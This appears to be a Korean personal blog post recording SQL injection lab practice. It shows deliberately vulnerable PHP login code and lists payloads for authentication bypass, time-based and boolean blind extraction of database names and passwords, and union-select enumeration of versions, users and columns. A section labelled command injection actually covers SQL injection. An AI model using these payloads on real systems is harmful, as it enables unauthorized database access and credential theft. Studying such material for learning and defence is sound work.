์ผ๋‹จ ํ•˜๊ณ  ๋ณด๋Š” ์‚ฌ๋žŒ

๋‚˜์ค‘๋ณด๋‹จ ์ง€๊ธˆ์— ์ง‘์ค‘ํ•˜๋˜, ์ง€๊ธˆ๋ณด๋‹จ ๋‚˜์ค‘์— ์™„๋ฒฝํ•ด์ง€์ž๐Ÿ’ช๐Ÿป

๐Ÿ•ธ๏ธ Web์— ๋Œ€ํ•ด

๐Ÿ’‰SQL Injection ์ง์ ‘ ์‹ค์Šต

JanginTech 2024. 8. 11. 21:52

 

SQL Injection?

ํŠน์ • SQL ์ฟผ๋ฆฌ๋ฌธ์„ ์ „์†กํ•˜์—ฌ DB๋กœ๋ถ€ํ„ฐ ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๋Š” ํ•ดํ‚น ๊ธฐ๋ฒ•

 

<?php
    include "./config.php";
    $con = con();
    if(preg_match('/lecture|_|\.|\(\)|or|and/i', $_GET['id'])) exit("Detected!");
    if(preg_match('/lecture|_|\.|\(\)|or|and/i', $_GET['password'])) exit("Detected!");
    $sql = "SELECT id FROM users WHERE id='{$_GET['id']}' AND password='{$_GET['password']}'";
    echo "<h1>Query : <strong>{$sql}</strong></h1><br><br><br>";
    $result = @mysqli_fetch_array(mysqli_query($con,$sql));
    if($result['id'] == 'admin')
    {
        solve();
    }
    highlight_file(__FILE__);
?>

 

 

pw๋Š” ๋ชจ๋ฅด๊ฒ ์œผ๋‚˜ id๊ฐ€ admin์ด๊ธฐ๋งŒ ํ•ด๋„ slove()๊ฐ€ ์‹คํ–‰๋˜๋ฏ€๋กœ, id=admin์œผ๋กœ ์„ค์ •ํ•ด ์ฃผ๋ฉด ๋œ๋‹ค.

 

์ •๋‹ต

index.php?id='admin' -- -'&pw=''

 

pw ๋ถ€๋ถ„์€ ์ฃผ์„ ์ฒ˜๋ฆฌ :  -- -

 

 

 

๋˜ ๋‹ค๋ฅธ ์‹ค์Šต์„ ์ง„ํ–‰ํ•ด๋ณด์•˜๋‹ค.

 

<?php
    include "./config.php";
    $con = con();
    $id = isset($_GET['id']) ? $_GET['id'] : '';
    $password = isset($_GET['password']) ? $_GET['password'] : '';

    if (!empty($id) && !empty($password)) {
        $sql = "SELECT id FROM users WHERE id='$id' AND password='$password'";
        echo "<h1>Query : <strong>{$sql}</strong></h1><br><br><br>";
        $result = @mysqli_fetch_array(mysqli_query($con,$sql));
        if($result['id'] == 'admin')
        {
            echo "<h1>admin check!</h1><br><br><br>";
        }
    }
    highlight_file(__FILE__);
?>

 

์ด๋ฒˆ์—๋Š” id์™€ pw๊ฐ€ ๋ชจ๋‘ ์ „๋‹ฌ๋˜์–ด์•ผ ํ•œ๋‹ค.

 

1. database ์ด๋ฆ„ ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ

union select length(database())<6 and sleep(3) -- -' AND password='123'

 

2. database ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

' union select ascii(substr(database(),5,5))=49 nad sleep(3) -- -&password='123'

 

3. information_schema.columns๋ฅผ ํ†ตํ•ด ์กฐํšŒํ•˜๊ธฐ

' and (ascii(substring((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=110) -- &password=123

 

์ •๋‹ต

id=admin&password=SELECT password FROM users WHERE id='admin'

 

 

 

 

 

2. Blind SQL Injection

  • ์ทจ์•ฝ์ ์€ ๋ฐœ๊ฒฌํ–ˆ๋Š”๋ฐ ํ•œ ๋ฒˆ์— ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ
  • ์ฐธ/๊ฑฐ์ง“์„ ์ด์šฉํ•˜์—ฌ ์ •๋ณด ํƒˆ์ทจ ์ง„ํ–‰

์˜ˆ์‹œ

 

database() ๊ธ€์ž๋ฅผ ํ•˜๋‚˜์”ฉ ๋งž์ถฐ๊ฐ€๋ฉฐ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๋ชจ์Šต.

T/F๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด sleep() ๋ฉ”์„œ๋“œ๋„ ์ ๊ทน ํ™œ์šฉํ•˜๊ธฐ๋„ ํ•œ๋‹ค.

 

 

system_user(), user(), version() ํƒˆ์ทจ

' union select ๋ฅผ ํ™œ์šฉํ•˜์—ฌ STORE์˜ ๋ณด์ด๋Š” ์ปฌ๋Ÿผ์— ์ •๋ณด๋ฅผ ์กฐํšŒ

์ตœ์ƒ์œ„ ์œ ์ €๊ฐ€ ๊ด€๋ฆฌ๋ฅผ ๋ชจ๋‘ ์ง„ํ–‰ํ•œ๋‹ค๋ฉด ์ด ๋ถ€๋ถ„์„ ์ด์šฉํ•˜์—ฌ ๋” ๋งŽ์€ ์•…์˜ ์ฟผ๋ฆฌ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ๋ถ„์—…ํ™”๋ฅผ ํ•˜์ž.

 

 

 

์•„๋ž˜ ์˜ˆ์‹œ๋Š” password ๊ธธ์ด ๋ฐ ๋‚ด์šฉ์„ ์•Œ์•„๋‚ด๋Š” ๊ณผ์ • ์ค‘ ์ผ๋ถ€ ์บก์ณ๋ณธ์ด๋‹ค.

ํ•ด๋‹น ์‚ฌ์ดํŠธ์˜ password len์€ 5๋‹ค.

์ด์— ๋Œ€ํ•ด asfasdf' or id="์•Œ์•„๋‚ธ์•„์ด๋””" and length(pass)<5 -- - ๋ฅผ ์‹คํ–‰ํ•  ๊ฒฝ์šฐ

์•„๋ž˜ ๋ฉ”์„ธ์ง€๋ฅผ ํ†ตํ•ด T์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

๋ฉ”์‹œ์ง€๋ฅผ ํ†ตํ•ด T/F ํŒŒ์•…ํ•˜๊ธฐ (๋ธ”๋ผ์ธ๋“œ ์ต์ ์…˜)

 

' or id="์•Œ์•„๋‚ธ์•„์ด๋””" and substr(pass,1,2)='ne' -- - 

์ฃผ์–ด์ง„ ๊ธธ์ด์— ๋งž๊ฒŒ pass๋ฅผ ๋งž์ถœ ์ˆ˜ ์žˆ๋‹ค.

 

 

์ •๋ฆฌ

โœ”๏ธ DB ๊ฒฐ๊ณผ๊ฐ€ ๋‚ด๋ถ€์ ์œผ๋กœ๋งŒ ์ฒ˜๋ฆฌ๋˜์–ด ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค.

โœ”๏ธ ๋ณด์—ฌ์ง€๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ํ†ตํ•ด ์ฐธ/๊ฑฐ์ง“์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

' and length(database()) = 8## ์ด ๋จนํžˆ๋Š” ๋ชจ์Šต

 

 

 

 

 

3. Commnad Injection

  • ํ”„๋กœ๊ทธ๋žจ์ด ์™ธ๋ถ€์—์„œ ๋ฐ›์€ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ์‹คํ–‰ํ•˜์—ฌ, ์˜๋„ํ•˜์ง€ ์•Š์€ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜๋Š” ์ทจ์•ฝ์ 
  • ๊ณต๊ฒฉ ์œ ํ˜•์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
    • ๋ถ€์ ์ ˆํ•œ ๊ถŒํ•œ ๋ณ€๊ฒฝ
    • ์‹œ์Šคํ…œ ๊ถŒํ•œ ํš๋“
    • ์‹œ์Šคํ…œ ๋™์ž‘/์šด์˜์— ์•…์˜ํ–ฅ

 

DB Error๊ฐ€ ํ™”๋ฉด์— ๋ณด์—ฌ์ง€๋Š” ๋ชจ์Šต

์ž„์˜๋กœ ๋ณด๋‚ธ ๊ฐ’์— ๋Œ€ํ•œ DB Error๊ฐ€ ๋ทฐ๋‹จ์— ๋ณด์—ฌ์ง€๋Š” ๊ฒƒ์„ ํ†ตํ•ด SQL Injection์ด ๋จนํžˆ๋Š” ํ™˜๊ฒฝ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

์ด์ œ ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด ๋ณด์ž.

no=74' order by 7#

 

&no=74' order by 8# ์„ ์ฃผ์ž…ํ–ˆ์„ ๋•Œ Error๊ฐ€ ๋‚˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„, table board์˜ column ๊ฐœ์ˆ˜๋Š” 7๊ฐœ์ž„์„ ํŒŒ์•….

 

 

โž•

' order by N -- -

order by์™€ ์ฃผ์„์„ ํ™œ์šฉํ•˜์—ฌ ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜๋ฅผ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

์ด 7๊ฐœ์˜ ์ปฌ๋Ÿผ์ค‘ ์กฐํšŒ๊ฐ€๋Šฅํ•œ ์ปฌ๋Ÿผ์ด ๋ฌด์—‡์ธ์ง€ ์•Œ์•„๋ณด์ž.

(๊ทธ๊ฑธ ํ†ตํ•ด ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•ด์•ผ ํ•˜๋‹ˆ๊นŒ)

no=0' union select 1,2,3,4,5,6,7#

 

' union select

์ด ์ค‘ ๋ณด์ด๋Š” ์ปฌ๋Ÿผ 2,3,4,6์„ ํ™œ์šฉํ•˜์—ฌ ์กฐํšŒํ•˜๋ฉด ๋˜๊ฒ ๋‹ค.

 

 

๋ฒ„์ „์ด๋ž‘ db user์— ๋Œ€ํ•ด ์กฐํšŒํ•ด ๋ณด์ž.

' union select 1,@@version,3,user(),5,6,7#

 

 

 

์œ„์—์„œ ์ด๋ฏธ ์ •๋ฆฌํ–ˆ์ง€๋งŒ

table members๋ฅผ ์•Œ์•˜์„ ๋•Œ, ํ•ด๋‹น ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ์„ ์กฐํšŒํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

members ์ด๋ฆ„ ์ƒ password ๋“ฑ ์‚ฌ์šฉ์ž์— ๊ด€ํ•œ ์ •๋ณด๊ฐ€ ๋‹ด๊ฒจ์žˆ์„ ๊ฒƒ ๊ฐ™์œผ๋‹ˆ, ์กฐํšŒํ•ด ๋ณผ ๋งŒํ•˜๋‹ค.

 

' union all select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name = 'member' limit 2,1#

 

members์˜ ์ปฌ๋Ÿผ๋ช…์„ ํ•˜๋‚˜์”ฉ ์กฐํšŒํ•œ๋‹ค.

limit 2,1 ์„ ํ†ตํ•ด 2๋ฒˆ์งธ ์ปฌ๋Ÿผ์€ pass์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

'๐Ÿ•ธ๏ธ Web์— ๋Œ€ํ•ด' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

์›น๊ณผ ์›น ํ•ดํ‚น  (0) 2024.08.11